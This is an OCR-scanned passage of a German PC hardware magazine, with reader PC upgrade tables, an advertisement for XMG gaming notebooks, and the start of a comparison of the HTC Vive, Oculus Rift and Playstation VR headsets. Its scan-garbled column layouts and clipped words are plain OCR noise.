bei rasantem Gameplay. Beim ROCCAT-Set gefällt TrueEvi 
vor allem die Tastatur Skeltr mit RGB-Beleuchtung. Sie 
bietet eine Docking-Station für Smartphones und Tablets. 
Das Aufladen, Annehmen von Anrufen und Schreiben von 
Kurznachrichten ist direkt an der Tastatur möglich. 
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Komponente 


Alter PC 


Neuer PC 


Punkte 


Prozessor 


Core i5-4460 


Core i5-4460 


CPU-Kühler 


Boxed 


Boxed 


Mainboard 


Sockel 1150, H97 (Asrock) 


Sockel 1150, H97 (Asrock) 


Arbeitsspeicher 


2 x 8 GiByte DDR3 (Crucial) 


2 x 8 GiByte DDR3 (Crucial) 


Grafikkarte 


Radeon HD 7850/1G (ХЕХ) 


MSI GTX 1070 Gaming X 8G 


SSD und HDD 


250 GByte (Samsung), 3 TByte (Seagate) 


250 GByte (Samsung), 3 TByte (Seagate) 


etzteil 


500 Watt, 80 Plus (Thermaltake) 


be quiet! Power Zone 750 Watt 


Gehäuse 


Midi Tower (Cooler Master) 


be quiet! Silent Base 800 Window Black 


Lüfter 


2 x 120 mm (Cooler Master) 


be quiet! Pure Wings 2 (2 x 140/1 x 120 mm) 


onitor 


20 Zoll, 1.680 x 1.050, 60 Hz (Samsung) 


iiyama G-Master GB2888UHSU-B1 


astatur 


Gummidom (Cherry) 


ROCCAT Suora 


aus 


3 Tasten, 400 DPI (Microsoft) 


ROCCAT Kiro 


auspad 


Nicht vorhanden 


ROCCAT Kanga 


Headset 


Nicht vorhanden 


ROCCAT Renga 


Summe 


be quiet! Power Zone 750 Watt ROCCAT Kiro 


Komponente 


Alter PC 


Neuer PC 


Punkte 


Prozessor 


Core 17-870 


Core i5-6600K (alternativ Core i5-7600K) 


CPU-Kühler 


Turm, 3 Heatpipes (EKL Alpenföhn) 


Turm, 3 Heatpipes (EKL Alpenföhn) 


Mainboard 


Sockel 1156, H55 (Asus) 


MSI Z170A Gaming Pro Carbon 


Arbeitsspeicher 


4 x 4 GiByte DDR3 (GEIL, Kingston) 


2 x 8 GiByte DDR4 (G.Skill) 


Grafikkarte 


Geforce GTX 960/4G (EVGA) 


Geforce GTX 960/4G (EVGA) 


SSD und HDD 


500 GB (Samsung) 


500 GB (Samsung) 


etzteil 


550 Watt, 80 Plus Gold (Corsair) 


be quiet! Dark Power Pro 11 850 Watt 


Geháuse 


be quiet! Silent Base 600 


be quiet! Dark Base Pro 900 Orange 


Lüfter 


be quiet! Pure Wings 2 (1 x 140/120 mm) 


be quiet! Silent Wings 3 (3 x 140 mm) 


onitor 


23 Zoll, 1.920 x 1.080, 120 Hz (LG) 


iiyama G-Master GB2788HS-B1 


astatur 


Gummidom (Microsoft) 


ROCCAT Skeltr 


aus 


6 Tasten, 1.600 DPI (Logitech) 


ROCCAT Nyth 


auspad 


Stoff, 32 x 27 cm (Steelseries) 


ROCCAT Taito XXL-Wide 


Headset 


Geschlossen, Klinke und USB (Asus) 


ROCCAT Renga 


MSI Z170A Gaming Pro Carbon 


iiyama G-Master GB2788HS-B1 


ASTER 
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PC von miscter 


Die Basis ist ein alter Komplett-PC, weshalb Komponente Alter PC Neuer PC Punkte 
einige OEM-Komponenten verbaut sind. Ihn hat Prozessor Core i7-920 Core i7-920 
miscter von seinem Bruder erhalten und mit aus- | CPU-Kühler Top-Blow, 3 Heatpipes (OEM) be quiet! Dark Rock Pro 3 4 
sortierter Hardware von Freunden aufgerüstet. ` Mainboard Sockel 1366, X58 (OEM) Sockel 1366, X58 (OEM) 
Sowohl CPU als auch Gra- | Arbeitsspeicher 3 x 2 GiByte DDR3 (Samsung) 3 x 2 GiByte DDR3 (Samsung) 
fikkarte sind betagt, doch Grafikkarte Geforce GTX 560 Ti/2G (Gainward) MSI GTX 1070 Gaming X 8G 23 
miscter setzt erst einmal bei | SSD und HDD 250 GByte (Crucial), 2 x 1 TByte (WD) 250 GByte (Crucial), 2 x 1 TByte (WD) 
der Geforce GTX 560 Ti an | Netzteil 650 Watt, 80 Plus Bronze (Corsair) 650 Watt, 80 Plus Bronze (Corsair) 
und ersetzt sie durch eine | Gehäuse Midi Tower (OEM) be quiet! Silent Base 600 Window Silver 5 
MSI GTX 1070 Gaming X | Lüfter 1 x 120 mm (Delta) be quiet! Pure Wings 2 (1 x 140/120 mm) 
8G. Die um das Vielfache | Monitor 24 Zoll, 1.920 x 1.080, 60 Hz (Benq) iiyama G-Master GB2783QSU-B1 19 
höhere Rechenleistung | Tastatur Scherenmechanik (Cougar) ROCCAT Sova MK 15 
und Speicherausstattung | Maus 8 Tasten, 4.000 DPI (Logitech) ROCCAT Kova 
darf die Grafikkarte zu- | Mauspad Stoff, 25 x 21 cm (Steelseries) ROCCAT Sova MK 
künftig in 2.560 x 1.440 | Headset Geschlossen, Klinke (Creative) ROCCAT Renga 
ausspielen, denn so viele Bildpunkte bietet Summe | 66 


der iiyama G-Master GB2783QSU-B1, bei dem dank Hó- 
henverstellbarkeit, Pivot- und Schwenkfunktion auch der 
Komfort nicht zu kurz kommt. Die Hardware zieht in das 
be quiet! Silent Base 600 Window Silver um. Damit ist zu- j 
künftig nicht nur Platz für ausgewachsene ATX-Mainboards, e = 

sondern auch die Belüftung fällt dank eines zusätzlichen | 


MSI GTX 1070 Gaming X 8G be quiet! Silent Base 600 Window Silver 


140-mm-Ventilators und mehr Montageplätzen leichter. Den 
alten Top-Blow-Kühler ersetzt das Doppelturmmodell Dark 
Rock Pro 3, welches genug Leistung für alle aktuellen AMD- 
und Intel-CPUs hat — ideal, wenn miscter zu einem spáteren 
Zeitpunkt seine Plattform erneuert. Da sich beim bisher ge- 
nutzten Headset nach zwei Jahren die Polsterung der Hór- 
muscheln ablóst, kommt das ROCCAT Renga zur richtigen 
Zeit. Mit der Tastatur-/Mauspad-Kombination Sova MK steht 
bequemen Spielen auf dem Sofa nichts mehr im Weg. 


S 


PC von drebbin 


Die Plattform ist aktuell, doch für kommende Komponente Alter PC Neuer PC Punkte 
Top-Titel fehlt die Grafikleistung. Das knarzende | Prozessor Core i7-5775C Core i7-5775C 


Standmikrofon irritiert außerdem Mitspieler im CPU-Kühler Turm, 6 Heatpipes, 2 x 140 mm (Prolimatech) | Turm, 6 Heatpipes, 2 x 140 mm (Prolimatech) 
Sprach-Chat. Mainboard Sockel 1150, Z97 (Asus) Sockel 1150, Z97 (Asus) 
Als Unterstützer ambitio- | Arbeitsspeicher 2 x 8 GiByte DDR3 (G.Skill) 2 x 8 GiByte DDR3 (G.Skill) 
nierter Spieleprojekte wie | Grafikkarte Radeon HD 7950/36 (VTX3D) MSI GTX 1080 Gaming X 8G 
Kingdom Come: Delive- | SSD 500 GByte (Samsung) 500 GByte (Samsung) 
rance und Star Citizen kann etzteil be quiet! Straight Power E9-CM 580 Watt | be quiet! Straight Power E9-CM 580 Watt 
drebbin gar nicht genug | Gehäuse Midi Tower (Fractal Design) Midi Tower (Fractal Design) 
GPU-Leistung haben und | Lüfter 3 x 140 mm (be quiet!, Fractal Design) be quiet! Silent Wings 3 PWM (3 x 140 mm) 
investiert die meisten Auf- | Monitor 24 Zoll, 1.920 x 1.080, 60 Hz (LG) iiyama G-Master GB2783QSU-B1 
rüstpunkte in die extrem | Tastatur ROCCAT Isku ROCCAT Suora 
leistungsfähige MSI GTX | Maus 8 Tasten, 1.800 DPI (Logitech) ROCCAT Kiro 
1080 Gaming X 8G, die | Mauspad ROCCAT Taito ROCCAT Kanga 


dank Twin-Frozr-VI-Kühler [Headset Nicht vorhanden ROCCAT Renga 
inklusive Backplate Reserven 


für Overclocking mit dem Tuning-Tool MSI Afterburner 
bietet. Die Muskeln spielen lassen kann die Grafikkarte 
ab sofort in WQHD-Auflósung, denn der iiyama G-Master 
GB2783QSU-B1 bietet nicht nur eine größere Bildfläche, 
sondern auch 78 Prozent mehr Pixel als ein Full-HD-Mo- 
nitor. Da das alte Mikrofon in Teamspeak-Runden regel- 
mäßig durch Störgeräusche auffällt, freut sich drebbin 
aus dem ROCCAT-Set besonders auf das Headset Renga, 
das mit gepolsterten Over-Ear-Muscheln und einem brei- 
ten Kopfbügel hohen Tragekomfort verspricht. Da drebbin 
bereits einen guten Prozessorkühler besitzt, wünschte er 
sich, statt einen Punkt für den be quiet! Pure Rock Slim 
zu investieren, lieber die Silent Wings 3 PWM anstelle der 
Shadow Wings PWM zu erhalten. Wir willigten ein, denn 
das 67-Punkte-Limit wird nicht überschritten. 


Summe 
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ANZEIGE 


PUGH-Notebooks 


MIT GEFORCE GTX 1070 UND GTX 1060 


chenker Technologies mit der Mar- 
S. XMG bietet optimale Konfigu- 
rationsmóglichkeiten, wenn es darum 
geht, ein Gaming-Notebook zusammen- 
zustellen. Daher freuen wir uns, Ihnen 
rechtzeitig vor Weihnachten zwei neue 
PCGH-Notebooks mit unserem neuen 
Kooperationspartner vorstellen zu kón- 
nen. Die XMG-Laptos gibt es außerdem 
zum tollen Vorteilspreis. Wenn Ihnen die 
GróBe der SSD, der Festplatte oder des 
Arbeitsspeichers nicht zusagt, kónnen Sie 
diese Bauteile vor der Bestellung einfach 
über den Notebook-Konfigurator ándern. 


Doch beginnen wir zunächst mit dem 
XMG P507 PCGH-Edition. Dieses Gerät 
15,6-Zoll-Full-HD- 
Bildschirm und ist mit einer Geforce GTX 
1060 mit 6 GB ausgestattet. Das XMG 
P707 PCGH-Edition nutzt einen größe- 
ren 17,3-Zoll-Bildschirm. Ein Highlight ist 
hier die verbaute Geforce GTX 1070 mit 
8 GB. In unserem Witcher-3-Benchmark 


verfügt über einen 


steigt die Leistung im Vergleich zum GTX- 
1060-Gerät beispielsweise um 57 Prozent. 
Beide Notebooks setzen beim Prozessor 
auf den Intel Core i7-6700HQ und verfü- 
gen über ein hochwertiges Geháuse, das 
überwiegend aus Metall besteht. Mehr In- 


fos unter: www.pcgh.de/xmg (dw) 


Vorteile PCGH-Edition 


Gutschein für das PCGH-Online-Abo 
(365-Tage-Zugang) 


Hersteller/Bezugsquelle 


XMG P507 


PCGH-Edition 
Schenker (www.pcgh.de/xmg1) 


XMG P707 
PCGH-Edition 
Schenker (www.pcgh.de/xmg2) 


Erweiterte Informationen 
Ausstattung 
Prozessor 


www.pcgh.de/p507 


Intel Core i7-6700HQ 
(2,6 bis 3,5 GHz, 4 Kerne/8 Threads) 


www.pcgh.de/p707 


Intel Core i7-6700HQ 
(2,6 bis 3,5 GHz, 4 Kerne/8 Threads) 


Grafikeinheit 


Nvidia Geforce GTX 1060 (6 GB) 


Nvidia Geforce GTX 1070 (8 GB) 


LCD 


15,6 Zoll Full HD Non-Glare IPS 
(1.920 x 1.080 Pixel) 


17,3 Zoll Full HD Non-Glare IPS 
(1.920 x 1.080 Pixel, G-Sync) 


SSD-Laufwerk (M.2) 


256 GByte (Samsung SM961-NVMe) 


512 GByte (Samsung SM961-NVMe) 


HDD-Laufwerk 


Optisches Laufwerk 


1.000 GByte (Seagate, 5.400 U/min) 


2.000 GByte (Seagate, 5.400 U/min) 


Speicher 


16 GB DDR4-2400 (Ballistix) 


16 GB DDRA4-2400 (Ballistix) 


Akku/Gewicht 


60 Wattstunden/2,92 kg 


60 Wattstunden/3,36 kg 


Kommunikation 


GBit-Lan (RJ-45), WLAN 802.1 1ac, Blue- 
tooth 4.2, SD-Kartenleser, HD- Webcam, 
Fingerprint 


GBit-Lan (RJ-45), WLAN 802.1 1ac, Blue- 
tooth 4.2, SD-Kartenleser, HD-Webcam, 
Fingerprint 


Soundchip 


Sound Blaster X-Fi 5 


Sound Blaster X-Fi 5 


Anschlüsse 


3 x USB 3.0, 2 x USB 3.1 (Typ C), 
HDMI, 2 x Mini-Displayport, 
3 x Klinke (1 x Kopfhörer, 
1 x Mikrofon in, 1 x S/PDIF) 


3 x USB 3.0, 2 x USB 3.1 (Typ C), 
HDMI, 2 x Mini-Displayport, 
3 x Klinke (1 x Kopfhürer, 
1 x Mikrofon in, 1 x S/PDIF) 


Abmessungen (B x T x H) 


Leistung** 


385 x 271 x 25 mm 


417 x 287 x 30 mm 


Lautstärke 2D (0,5 m) 0,4 Sone/24 dB(A) 0,5 Sone/25 dB(A) 
Lautstärke 3D (0,5 m) 2,2 Sone/37 dB(A) 4,4 Sone/46 dB(A) 
Leistungsaufnahme 2D/3D 20 Watt/107 Watt 26 Watt/153 Watt 

3D Mark (Fire Strike) 2.646 (U), 5.091 (E), 9.453 (S) 4.029 (U), 7.344 (B), 12.713 (S) 
Battlefield 1/The Witcher 3 63 Fps/37 Fps 65 Fps/58 Fps 


Stalker: Call of Pripyat 


122 Fps (Sun Shafts, Ultra, 4x AA) 


142 Fps (Sun Shafts, Ultra, 4x AA) 


Aliens vs Predator Bench. 


155 Fps (1.920 x 1.080) 


223 Fps (1.920 x 1.080) 


mit 64-Bit-Betriebssystem* 


Cinebench R11.5 x64 (CPU) 7,43 Punkte 7,40 Punkte 
Akkulaufzeit 2D 332 Minuten (5:32 Stunden) 280 Minuten (4:40 Stunden) 
PREIS 
ohne Betriebssystem* € 1.699,- € 2.399,- 
PREIS €1.799,- €2.499,- 


(inkl. Windows 10 Home) 


(inkl. Windows 10 Home) 


© 3D-Performance der GTX 1060 
€ Lange Akkulaufzeit 
© Hohes Gewicht 


© Sehr schnelle Geforce GTX 1070 und G-Sync 
© Große 512-GB-M.2-SSD 
© Hörbare Lüfter im 3D-Betrieb 


* Preiserfassung und Produktdaten vom 22.11.2016, unter www.pcgh.de/mysn finden Sie stets den aktuellen Preis. Bei der Variante mit Betriebssystem sind neben 


Windows auch sämtliche Treiber installiert und der PC ist sofort einsatzbereit. 


**Verringerte Leistung im Akkubetrieb 


INFRASTRUKTUR | VR-Headsets 


leadsets 


V | | 
HTC Vive, Oculus Rift und Playstation VR 
buhlen um Virtual-Reality-Interessierte. 


Aber wer liefert die beste Bildqualität 
und die angenehmste Handhabung? 


ч 


Y 
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m Frühjahr verursachten HTC 

Vive und Oculus Rift den wohl 
größten Hype des Jahres 2016, 
aber erst im Herbst folgte der kom- 
merzielle Erfolg von VR-Headsets. 
Dank des wesentlich geringeren 
Preises und der verbreiteten Hard- 
ware-Plattform verkauft sich Sonys 
Playstation VR wie das sprichwört- 
lich geschnitten Brot, sodass für 
die zweieinhalb Verkaufsmonate 
2016 2 bis 3 Millionen verkaufte 
Einheiten erwartet werden. Zum 
Vergleich: HTC und Oculus bedien- 
ten drei Monate nach Marktstart 
nicht einmal je 100.000 Anwen- 
der. Aber wie schlagen sich diese 
ungleichen Kontrahenten im di- 
rekten Vergleich? Welche Mög- 
lichkeiten bieten sie und welches 
Zukunftspotenzial resultiert daraus 
für die einzelnen Plattformen und 
VR-Spiele allgemein? 


VR: Darum geht es 

Von normalen Head-Mounted-Dis- 
plays (HMD) unterscheiden sich 
Vive, Rift und Playstation VR vor 
allem durch ihr großes Sichtfeld 
und das laterale Kopftracking. Ers- 
teres deckt zwar nicht das gesamte 
menschliche Gesichtsfeld ab, ist 
aber zwei- bis fünfmal größer als 
bei älterer Technik. So wird das Ge- 
brauchsblickfeld der meisten Men- 
schen bequem versorgt und es ent- 
steht lediglich der Eindruck, durch 
eine Taucherbrille oder ein enges 
Helmvisier zu gucken - aber nicht 
auf ein vergleichsweise kleines Dis- 
play irgendwo im Raum. 


Ebenso wichtig für die Wahrneh- 
mung der dargestellten VR-Inhalte 
ist die exakte Erfassung der Kopf- 
bewegungen. Zwar können auch ei- 
nige ältere HMDs die Kopfneigung 
als Eingabesignal an Anwendungen 
weitergeben. Das Ergebnis ist aber 
bestenfalls eine korrekte Drehung 
der virtuellen Perspektive, die zu- 
dem oft verzögert dargestellt wird. 
Rift, Vive und Playstation VR haben 
nicht nur die Latzenz der Rotati- 
onserkennung minimiert, sondern 
erfassen zusätzlich auch die late- 
ralen Bewegungen des Kopfes zur 
Seite und nach oben beziehungs- 
weise unten (Translation). Dies 
ermöglicht nicht nur Interaktionen 
wie das Herumgucken um virtuelle 
Objekte, sondern ist entscheidend 
für die räumliche Wahrnehmung 
der gezeigten Inhalte. Das mensch- 
liche Gehirn weiß nämlich genau, 
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wie sich der Anblick eines realen 
Raumes selbst bei kleinen, häufig 
vorkommenden Kopfbewegungen 
verändert. Bleibt diese Perspektiv- 
änderung aus, nimmt man die dar- 
gestellte Szene bestenfalls wie ein 
flaches Bild auf einem Monitor war 
- oft aber auch als Störung der eige- 
nen Sinnesorgane, was sehr schnell 
zu Übelkeit führt. 


Cross-Plattform-Vergleich 

Wie gut Vive und Rift die Her- 
ausforderungen einer guten VR- 
Darstellung meistern, haben wir 
mehrfach an-, aber nie abschlie- 
ßend besprochen. Mit Playstation 
VR tritt ein dritter Kandidat in die 
Runde, der nicht nur preislich at- 
traktiver ist und eine leicht andere 
Technik nutzt, sondern auch bei 
PC-Spielern, vor allem aber Spiele- 
Entwicklern auf Interesse stößt. 


Leider existiert eine Windows-Ver- 
sion von Sonys Headset bislang nur 
als Gerücht und auch ein Reverse- 
Engineering der Treiber durch 
Bastler ist bislang nicht gelungen. 
Über die normalen HDMI- und 
USB-Stecker kann man die Playsta- 
tion VR zwar physisch an einen 
PC anschließen, aber ohne USB- 
Verbindung zu einer Playstation 4 
oder Playstation 4 Pro schaltet sich 
das Headset gar nicht erst ein. Zu- 
dem werden nicht speziell von der 
Konsole als VR aufbereitete Inhalte 
nur als 2D-Bild auf einer virtuellen 
Leinwand dargestellt. Für unsere 
Tests bedeutet dies, dass wir ohne 


PC-basierte Tools auskommen 
müssen und unsere Einschätzung 
anhand aufwendig ermittelter 


Testeindrücke fällen. Vergleichbare 
Messwerte lassen sich mit VR-Head- 
sets aber bislang nicht erheben. 


Realbilder von VR-Inhalten 

Auch bei Vergleichsbildern ist Vor- 
sicht geboten. So sind die von PC 
beziehungsweise Konsole ausge- 
gebenen Bilder stark vorverzerrt 
- und das für jeden Farbkanal in 
anderer Weise. Die zusätzlich ver- 
fügbare 2D-Ausgabe auf einem 
Monitor ist zwar klar erkennbar, 
weicht aber zum Teil deutlich von 
dem an das Headset ausgegebene 
Bild ab. Wir haben daher die Ausga- 
be in den Headsets aufwendig von 
Hand fotografiert - mit Ausnahme 
des Aufmacherbilds enthält dieser 
Artikel keinen einzigen in Software 
erstellten Screenshot! Ein 1:1 Ver- 


PL аь Leen — 


Low Persistence OLED: VR-Brillen zeigen Bewegungsschritte messerscharf, wie diese 
über drei Frames hinweg belichtete Aufnahme verdeutlicht. 


Wahrnehmungsbereiche erklàrt 


Die Betrachtung der Umgebung 
ist ein komplexer Prozess, der 
von mehreren Teilen des Kórpers 
unterstützt wird. Je nach Thema 
muss deswegen scharf zwischen 
verschiedenen, vermeintlich 
identischen Beschreibungen 
unterschieden werden. 


Gebrauchsblickfeld (20°, beide Augen) 


Gesichtsfeld 
(190°) 


Sichtfeld 

Das Sichtfeld beschreibt den 
von einem optischen System 
abgedeckten Raumbereich und 
wird umgekehrt auch für den Darstellungswinkel von Head Mounted Displays genutzt. 
Es berücksichtig weder die wechselnde Empfindlichkeit der unterschiedlichen Sichtbe- 
reiche des menschlichen Auges, noch dessen Beweglichkeit und auch nicht die Nutzung 
weiterer Systeme in Form eines zweiten Auges. 


Gesichtsfeld 

Das Gesichtsfeld vernachlässigt weiterhin die Möglichkeit von Augenbewegungen, 
bewertet aber die geringere Empfindlichkeit des peripheren Sichtvermögens und 
optional auch die Nutzung zweier Augen. In letzterem Fall kann das Gesichtsfeld weiter 
in einen binokularen Bereich mit stereoskopischer 3D-Wahrnehmung und Bereiche, die 
nur von einem Auge wahrgenommen werden, unterteilt werden. Aufgrund des großen 
Überlappungsbereiches der Sichtfelder beider Augen beim Menschen liegen diese 
monokularen Abschnitte aber im peripheren Teil der jeweiligen Sichtfelder und spielen 
somit für Spieler eine untergeordnete Rolle. 


Blickfeld 

Blickfelder berücksichtigen zusätzlich Augenbewegungen, wobei auch hier eine Un- 
terscheidung in das Blickfeld jedes einzelnen Auges, das gemeinsame Blickfeld beider 
Augen und in den darin enthaltenen binokularen Bereich mit stereoskopischem Sehen 
möglich ist. Hierbei spielen auch nicht-optische Körpermerkmale eine Rolle, so begrenzt 
zum Beispiel die Nase das Blickfeld der Augen auf die jeweils andere Körperseite. 


Von besonderer Bedeutung für die VR-Brillen-Entwicklung ist das Gebrauchsblickfeld. 
Dieser vergleichsweise kleine Bereich ist auch vom individuellen Sehverhalten abhängig 
und beschreibt den Teil des Blickfelds, der im Alltag zur Fokussierung von Objekten 
genutzt wird, bevor man an Stelle der Augen den gesamten Kopf schwenkt. 


Umblickfeld 

Wird neben den Augen auch der Kopf bewegt, so spricht man vom Umblickfeld. Dieses 
ist bei den meisten Menschen nur im unteren Bereich begrenzt, wo der eigene Körper 
die Sicht einschränkt, während Kopf- und Augenbewegungen in der horizontalen 
zumindest eine periphere 360°-Erfassung der Umgebung erlauben. 
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gleich ist dennoch nicht möglich, 
denn bis Redaktionsschluss wur- 
den nur sehr wenige PC-Spiele für 
Playstation VR portiert und diese 
nutzten zum einen leicht veränder- 
te Assets, zum anderen werden sie 
unter Windows jeweils nur über 
Steam VR oder den Oculus Client 
angeboten. Potentiell störenden 
Artefakten spüren wir deswegen 
mit optisch ähnlichen Spielen auf 
der jeweiligen Plattform nach. 


Bildqualität — statisch 

Stark vergrößernde Linsensysteme 
verleihen den VR-Headsets zwar 
ansehnliche Sichtfelder, sie sorgen 
aber auch für eine niedrige Pixel- 
dichte - vergleichbar in etwa mit 
einem 24-Zoll-Full-HD-Monitor in 
20 Zentimetern Entfernung. Vive 
und Rift unterscheiden sich hier- 
bei weder in der Technik noch in 


der Ausgabequalität erwähnens- 
wert voneinander und auch die 
Playstation VR zeichnet trotz nie- 
drigerer Auflösung ein ähnlich fei- 
nes Bild, da ihr Sichtfeld ebenfalls 
enger ausfällt und sie mit mehr 
Subpixeln arbeitet. Vive und Rift 
schummeln bei Letzteren, sie stel- 
len rote und blaue Bildinhalte nur 
abwechselnd in jedem zweiten Pi- 
xel dar. Das funktioniert erstaun- 
lich gut, denn das menschliche 
Auge hat deutlich mehr Sinneszel- 
len für grünes Licht, sodass unsere 
Hell-Dunkel-Auflösung von diesem 
dominiert wird. An kontrastrei- 
chen Kanten führt das Pentile-Kon- 
zept aber zu feinen Farbsäumen, 
denn die starke Vergrößerung der 
VR-Headsets macht auch Subpixel- 
Strukturen erkennbar. Besonders 
auffällig bei Vive und Rift ist hier- 
bei der Zwischenraum zwischen 


den OLED-Leuchtpunkten, der als 
dunkles Muster über dem eigent- 
lichen Bild wahrgenommen wird. 
Dieser Fliegengittereffekt fällt vor 
allem in hellen Szenen auf, ähnlich 
wie bei realen Fliegengittern spielt 
aber auch die Tiefenunschärfe der 
menschlichen Wahrnehmung eine 
Rolle. Die punktförmigen Licht- 
quellen können nämlich auch dann 
einen scharfen Bildeindruck erge- 
ben, wenn das Auge jenseits der 
Display-Ebene fokussiert und die 
Pixelzwischenräume nur als un- 
scharfen Schatten wahrnimmt. Für 
automatisch fokussierte Fotos des 
Oculus-Rift-Displays mussten wir 
sogar den Makromodus unserer 
Kamera deaktivieren, trotz 1 cm 
Aufnahmeentfernung. 


Dieses Problem kennt die Playsta- 
tion VR nicht, ihre großen Pixel 


bilden eine LCD-ähnliche, beinahe 
geschlossen Fläche. 
Ebenso LCD-ähnlich sind leider 


leuchtende 


die Schwarzdarstellung und die be- 
grenzte Helligkeit. Zwar kann So- 
nys OLED-Display echtes Schwarz 
wiedergeben, beinahe schwarze 
Szenen werden aber eher grau 
dargestellt, wobei das Display als 
solches wahrnehmbar ist. Details 
in sehr hellen oder sehr dunklen 
Bereichen fehlen hier im Vergleich 
zum kontrastreichen Bild von Vive 
und Rift. Bei Oculus werfen sehr 
helle Objekte dafür einen Schein 
aufschwarze Nachbarbereiche und 
HTCs Vive kämpft mit uniform wei- 
ßen Flächen: Neben dem Pixelauf- 
bau des Panels ist auch die Struktur 
der Fresnel-Linsen sichtbar. 


Allen drei Headsets gemein ist eine 
reduzierte Bildqualität am Bild- 


Bildqualität: Weit von 2D entfernt, Vive und Rift in Bewegung überlegen 


Rift: Pixelstruktur auf einheitlichen Flächen sichtbar 
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Rift: Feine Strukturen sauber aufgelöst 


Rift: Kanten aus runden Punkten aufgebaut 


Playstation VR: Ausgeprägte Treppenstufen 


Е 


Vive und Rift verwenden sehr ähnliche OLED-Displays 
mit vergleichsweise großen Lücken zwischen den Pixeln. 
Der resultierende , Fliegengittereffekt" ist auf hellen, 
einheitlichen Flächen gut sichtbar. Außerdem sorgt die 
Bewegung der einzeln wahrnehmbaren Pixel bei feinen, 
kontrastreichen Strukturen für einen Flirr-Effekt, da sich 
die hellen Zentren der Pixel relativ zum virtuellen Inhalt 
bewegen. Die großflächigen Pixel der Playstation VR 
kennen diese Probleme nicht, auf einheitlichen Flächen 
fallen die Abgrenzungen der Pixel kaum auf. Dafür 
sorgen große Treppenstufen für wandernde Strukturen 
an Kanten und wechselnde Dicken feiner Strukturen. 
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VR-HEADSETS 


mit 6-Achsen-Tracking 


Produkt 
Hersteller 


HTC (Kooperation mit Valve) 


Oculus VR (Facebook-Tochter) 


Playstation VR 
Sony 


Preis 


Ca. € 900,- (inkl. Controller) 


Ca. € 700,- (Headset) + ca. € 200,- (Controller) 


Ca. € 400,- (Headset) + € 60,- (Kamera) + € 80,- (Con- 
troller) 


Hard- und Softwareplattform 
Darstellung 
Displaytechnologie 


Windows-PC (Linux und OS X geplant), S 


OLED, 1.080 x 1.200 Pixel je Auge, 
Pentile-Pixelstruktur (2 Subpixel pro Pixel 


Windows-PC (Linux und OS X geplant), Oculus Client 


OLED, 1.080 x 1.200 Pixel je Auge, 
Pentile-Pixelstruktur (2 Subpixel pro Pixel) 


Playstation 4/4 Pro, Playstation Store 


OLED, 960 x 1.080 Pixel je Auge, 
RGB-Pixelstruktur (3 Subpixel pro Pixel) 


Sichtfeld (Herstellerangabe) 


110* 


110* 


100° 


Bildqualitàt statisch 


• Pixelzwischenráume bei hellen Flächen deutlich 
sichtbar 

Hoher Kontrast, perfekter Schwarzwert 
in dunklen Abschnitten möglich) 


feine Details 


° Pixelzwischenräume bei hellen Inhalten deutlich 
sichtbar 

* Hoher Kontrast, perfekter Schwarzwert (feine Details 
in dunklen Abschnitten möglich) 


e Pixelstruktur bei hellen Inhalten nur schwach sichtbar, 
einheitliche Fláchen wirken homogen 

• Display und Pixelstruktur auch bei sehr dunklen Grau- 
tónen wahrnehmbar 


Bildqualität dynamisch 


Pixelzwischenräume führen zu flirrendem Eindruck bei 
einen Objekten 


• Pixelzwischenräume führen zu flirrendem Eindruck bei 
einen Objekten. 


e Häufig Kantenflimmern und andere Aliasing-Artefakte 
aufgrund grofler Pixel 


Optische Stórungen 


• Fresnel-Linsenstruktur auf hellen Flächen sichtbar 


 (Linsen-JReflexionen sehr heller Objekte auf schwar- 
zem Hintergrund sichtbar 


e Reflektionen neben dem äußeren Displayrand bei ge- 
ringem Abstand zwischen Auge und Brille sichtbar 


Darstellungsfehler 
Randbereich 


• Abnehmende Bildschärfe und Linsenreflektionen bei 
hellen Objekten 
* Leichte chromatische Abberation oben und unten 


* Kontrastreiche Objekte überstrahlen in radialer Rich- 
ung deutlich. 


• Chromatische Abberation sichtbar 


Aktualisierungsrate 
Szeneninhalt 


90 Fps 


45 oder 90 Fps 


60, 90 oder 120 Fps (60 Fps typisch) 


Tragekomfort 


Weiche Polster, aber nach kurzer Zeit Wärmestau in 
der Brille 


Aktualisierungsrate 90 Hz 90 Hz (mittels Asynchronous Space Warp a. b. 45 Fps) | 60, 90 oder 120 Hz (60 Hz typisch) 

Kopfposition 

Aktualisierungsrate 90 Hz (Interleaved Projection, wenn Bildrate unter 90 ` | 90 Hz (Asynchronous Time Warp für Bildrate unter 90 | 90 oder 120 Hz (Asynchronous Reprojection für 120 Hz 
Blickrichtung Fps fällt) Fps) bei 60 Fps Bildrate typisch) 

Bildwiederholrate 90 Hz 90 Hz 90 oder 120 Hz 


Ergonomie 


Polster einigen Anwendern zu hart 


Silikon sehr weich auf dem Gesicht, führt aber keinen 
Schweiß ab 


Anpassung an Nutzer 


Aufwendig, dank großer Elastizität aber n. і. nötig 


Aufwendig, keine zusätzlichen Kopfhörer nötig 


Leicht, aber bei jedem Aufsetzen erneut nötig 


Vertikale Ausrichtung Dank großer Auflageflächen unproblematisch Teilweise sehr tiefe Positionierung nötig, sodass Nase in | Fixierung an Stirn und Hinterkopf garantiert richtige 
Headset verschwindet Ausrichtung unabhängig von Gesichtsform 
Abschirmung Kein seitlicher Lichteinfall Unten liegender Spalt soll Blick auf Peripherie erleich- | Je nach Abstand zum Gesicht sehr schwacher bis starker 


tern, erlaubt aber auch Lichteinfall 


Lichteinfall auf allen Seiten 


Eignung für Brillentráger 


Bedingt. Wenig Platz für Brille in Headset. 


Bedingt. Brille bleibt in Headset hängen 


Bedingt. Abstand zum Display führt zu Lichteinfall 


Tracking-Prinzip 


Headset und Controller orientieren sich an von Basissta- 
tionen ausgesandtem IR-Lasermuster. 


Kopfhóhrer Beiliegend, 3,5-mm-Klinke-Anschluss am Headset Integriert, separate Kopfhörer möglich Beiliegend, 3,5-mm-Klinke-Anschluss an Headset 
Verhalten beim Abnehmen | Anzeige aus Anzeige aus Bleibt aktiv 
Tracking 


IR-Kamera erkennt LEDs an Headset und Controllern, 
Geräteunterscheidung durch Blinkrythmen 


Kamera erkennt farbig beleuchtete Controller und 
Headset 


Anzahl Basisstationen, 
Anschlüsse 


2, nur Strom 


1 (nur Rift). Mit Touch-Controller 2, jeweils 1 USB 


1, Proprietärer Anschluss für Playstation-Kamera 


Positionierung der 
Basisstationen 


Gegenüberliegende Ecken des VR-Bereiches, möglichst 
hoch. Kalibrierung beim Einschalten, Positionsände- 
rungen danach führen zu Trackingfehlern. 


Typischerweise vor Anwender auf Schreibtisch, aber 
